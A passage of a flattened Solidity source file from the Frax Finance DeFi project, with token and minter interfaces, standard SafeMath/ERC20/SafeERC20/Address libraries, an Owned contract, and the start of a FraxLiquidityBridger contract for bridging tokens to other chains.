function grantRole(bytes32 role, address account) external; function hasRole(bytes32 role, address account) external view returns(bool); function increaseAllowance(address spender, uint256 addedValue) external returns(bool); function mint(address to, uint256 amount) external; function name() external view returns(string memory); function numCheckpoints(address) external view returns(uint32); function oracle_address() external view returns(address); function owner_address() external view returns(address); function pool_burn_from(address b_address, uint256 b_amount) external; function pool_mint(address m_address, uint256 m_amount) external; function renounceRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function setFRAXAddress(address frax_contract_address) external; function setFXSMinDAO(uint256 min_FXS) external; function setOracle(address new_oracle) external; function setOwner(address _owner_address) external; function setTimelock(address new_timelock) external; function symbol() external view returns(string memory); function timelock_address() external view returns(address); function toggleVotes() external; function totalSupply() external view returns(uint256); function trackingVotes() external view returns(bool); function transfer(address recipient, uint256 amount) external returns(bool); function transferFrom(address sender, address recipient, uint256 amount) external returns(bool); } // File contracts/Frax/IFraxAMOMinter.sol // MAY need to be updated interface IFraxAMOMinter { function FRAX() external view returns(address); function FXS() external view returns(address); function acceptOwnership() external; function addAMO(address amo_address, bool sync_too) external; function allAMOAddresses() external view returns(address[] memory); function allAMOsLength() external view returns(uint256); function amos(address) external view returns(bool); function amos_array(uint256) external view returns(address); function burnFraxFromAMO(uint256 frax_amount) external; function burnFxsFromAMO(uint256 fxs_amount) external; function col_idx() external view returns(uint256); function collatDollarBalance() external view returns(uint256); function collatDollarBalanceStored() external view returns(uint256); function collat_borrow_cap() external view returns(int256); function collat_borrowed_balances(address) external view returns(int256); function collat_borrowed_sum() external view returns(int256); function collateral_address() external view returns(address); function collateral_token() external view returns(address); function correction_offsets_amos(address, uint256) external view returns(int256); function custodian_address() external view returns(address); function dollarBalances() external view returns(uint256 frax_val_e18, uint256 collat_val_e18); // function execute(address _to, uint256 _value, bytes _data) external returns(bool, bytes); function fraxDollarBalanceStored() external view returns(uint256); function fraxTrackedAMO(address amo_address) external view returns(int256); function fraxTrackedGlobal() external view returns(int256); function frax_mint_balances(address) external view returns(int256); function frax_mint_cap() external view returns(int256); function frax_mint_sum() external view returns(int256); function fxs_mint_balances(address) external view returns(int256); function fxs_mint_cap() external view returns(int256); function fxs_mint_sum() external view returns(int256); function giveCollatToAMO(address destination_amo, uint256 collat_amount) external; function min_cr() external view returns(uint256); function mintFraxForAMO(address destination_amo, uint256 frax_amount) external; function mintFxsForAMO(address destination_amo, uint256 fxs_amount) external; function missing_decimals() external view returns(uint256); function nominateNewOwner(address _owner) external; function nominatedOwner() external view returns(address); function oldPoolCollectAndGive(address destination_amo) external; function oldPoolRedeem(uint256 frax_amount) external; function old_pool() external view returns(address); function owner() external view returns(address); function pool() external view returns(address); function receiveCollatFromAMO(uint256 usdc_amount) external; function recoverERC20(address tokenAddress, uint256 tokenAmount) external; function removeAMO(address amo_address, bool sync_too) external; function setAMOCorrectionOffsets(address amo_address, int256 frax_e18_correction, int256 collat_e18_correction) external; function setCollatBorrowCap(uint256 _collat_borrow_cap) external; function setCustodian(address _custodian_address) external; function setFraxMintCap(uint256 _frax_mint_cap) external; function setFraxPool(address _pool_address) external; function setFxsMintCap(uint256 _fxs_mint_cap) external; function setMinimumCollateralRatio(uint256 _min_cr) external; function setTimelock(address new_timelock) external; function syncDollarBalances() external; function timelock_address() external view returns(address); } // File contracts/Common/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File contracts/Math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File contracts/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/Utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File contracts/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory __name, string memory __symbol) public { _name = __name; _symbol = __symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal virtual { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File contracts/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/Uniswap/TransferHelper.sol // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // File contracts/Staking/Owned.sol // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor (address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // File contracts/Bridges/FraxLiquidityBridger.sol // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ======================= FraxLiquidityBridger ======================= // ==================================================================== // Takes FRAX, FXS, and collateral and bridges it to other chains for the purposes of seeding liquidity pools // and other possible AMOs // An AMO Minter will need to give tokens to this contract first // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian contract FraxLiquidityBridger is Owned { // SafeMath automatically included in Solidity >= 8.0.0 using SafeERC20 for ERC20; /* ========== STATE VARIABLES ========== */ // Instances and addresses IFrax public FRAX = IFrax(0x853d955aCEf822Db058eb8505911ED77F175b99e); IFxs public FXS = IFxs(0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0); ERC20 public collateral_token; IFraxAMOMinter public amo_minter; // Informational string public name; // Price constants uint256 private constant PRICE_PRECISION = 1e6; // AMO Minter related address private amo_minter_address; // Collateral related address public collateral_address; uint256 public col_idx; // Admin addresses address public timelock_address; // Bridge related address[3] public bridge_addresses; address public destination_address_override; string public non_evm_destination_address; // Balance tracking uint256 public frax_bridged; uint256 public fxs_bridged; uint256 public collat_bridged; // Collateral balance related uint256 public missing_decimals; /* ========== MODIFIERS ========== */ modifier onlyByOwnGov() { require(msg.sender == owner || msg.sender == timelock_address, "Not owner or timelock"); _; } /* ========== CONSTRUCTOR ========== */ constructor ( address _owner, address _timelock_address, address _amo_minter_address, address[3] memory _bridge_addresses, address _destination_address_override, string memory _non_evm_destination_address, string memory _name ) Owned(_owner) { // Core timelock_address = _timelock_address; // Bridge related bridge_addresses = _bridge_addresses; destination_address_override = _destination_address_override; non_evm_destination_address = _non_evm_destination_address; // Informational name = _name; // AMO Minter related amo_minter_address = _amo_minter_address; amo_minter = IFraxAMOMinter(_amo_minter_address); // Collateral related collateral_address = amo_minter.collateral_address(); col_idx = amo_minter.col_idx(); collateral_token = ERC20(collateral_address); missing_decimals = amo_minter.missing_decimals(); } /* ========== VIEWS ========== */ function getTokenType(address token_address) public view returns (uint256) { // 0 = FRAX, 1 = FXS, 2 = Collateral if (token_address == address(FRAX)) return 0; else if (token_address == address(FXS)) return 1; else if (token_address == address(collateral_token)) return 2; // Revert on invalid tokens revert("getTokenType: Invalid token"); } function showTokenBalances() public view returns (uint256[3] memory tkn_bals) { tkn_bals[0] = FRAX.balanceOf(address(this)); // FRAX tkn_bals[1] = FXS.balanceOf(address(this)); // FXS tkn_bals[2] = collateral_token.balanceOf(address(this)); // Collateral } function showAllocations() public view returns (uint256[10] memory allocations) { // All numbers given are in FRAX unless otherwise stated // Get some token balances uint256[3] memory tkn_bals = showTokenBalances(); // FRAX allocations[0] = tkn_bals[0]; // Unbridged FRAX allocations[1] = frax_bridged; // Bridged FRAX allocations[2] = allocations[0] + allocations[1]; // Total FRAX // FXS allocations[3] = tkn_bals[1]; // Unbridged FXS allocations[4] = fxs_bridged; // Bridged FXS allocations[5] = allocations[3] + allocations[4]; // Total FXS // Collateral allocations[6] = tkn_bals[2] * (10 ** missing_decimals); // Unbridged Collateral, in E18 allocations[7] = collat_bridged * (10 ** missing_decimals); // Bridged Collateral, in E18 allocations[8] = allocations[6] + allocations[7]; // Total Collateral, in E18 // Total USD value, in E18 // Ignores FXS allocations[9] = allocations[2] + allocations[8]; } // Needed for the Frax contract to function function collatDollarBalance() public view returns (uint256) { (, uint256 col_bal) = dollarBalances(); return col_bal; } function dollarBalances() public view returns (uint256 frax_val_e18, uint256 collat_val_e18) { // Get the allocations uint256[10] memory allocations = showAllocations(); // FRAX portion is Frax * CR uint256 frax_portion_with_cr = (allocations[2] * FRAX.global_collateral_ratio()) / PRICE_PRECISION; // Collateral portion uint256 collat_portion = allocations[8]; // Total value, not including CR, ignoring FXS frax_val_e18 = allocations[2] + allocations[8]; // Collat value, accounting for CR on the FRAX portion collat_val_e18 = collat_portion + frax_portion_with_cr; } /* ========== MUTATIVE FUNCTIONS ========== */ function bridge(address token_address, uint256 token_amount) external onlyByOwnGov { // Get the token type uint256 token_type = getTokenType(token_address); // Defaults to sending to this contract's address on the other side address 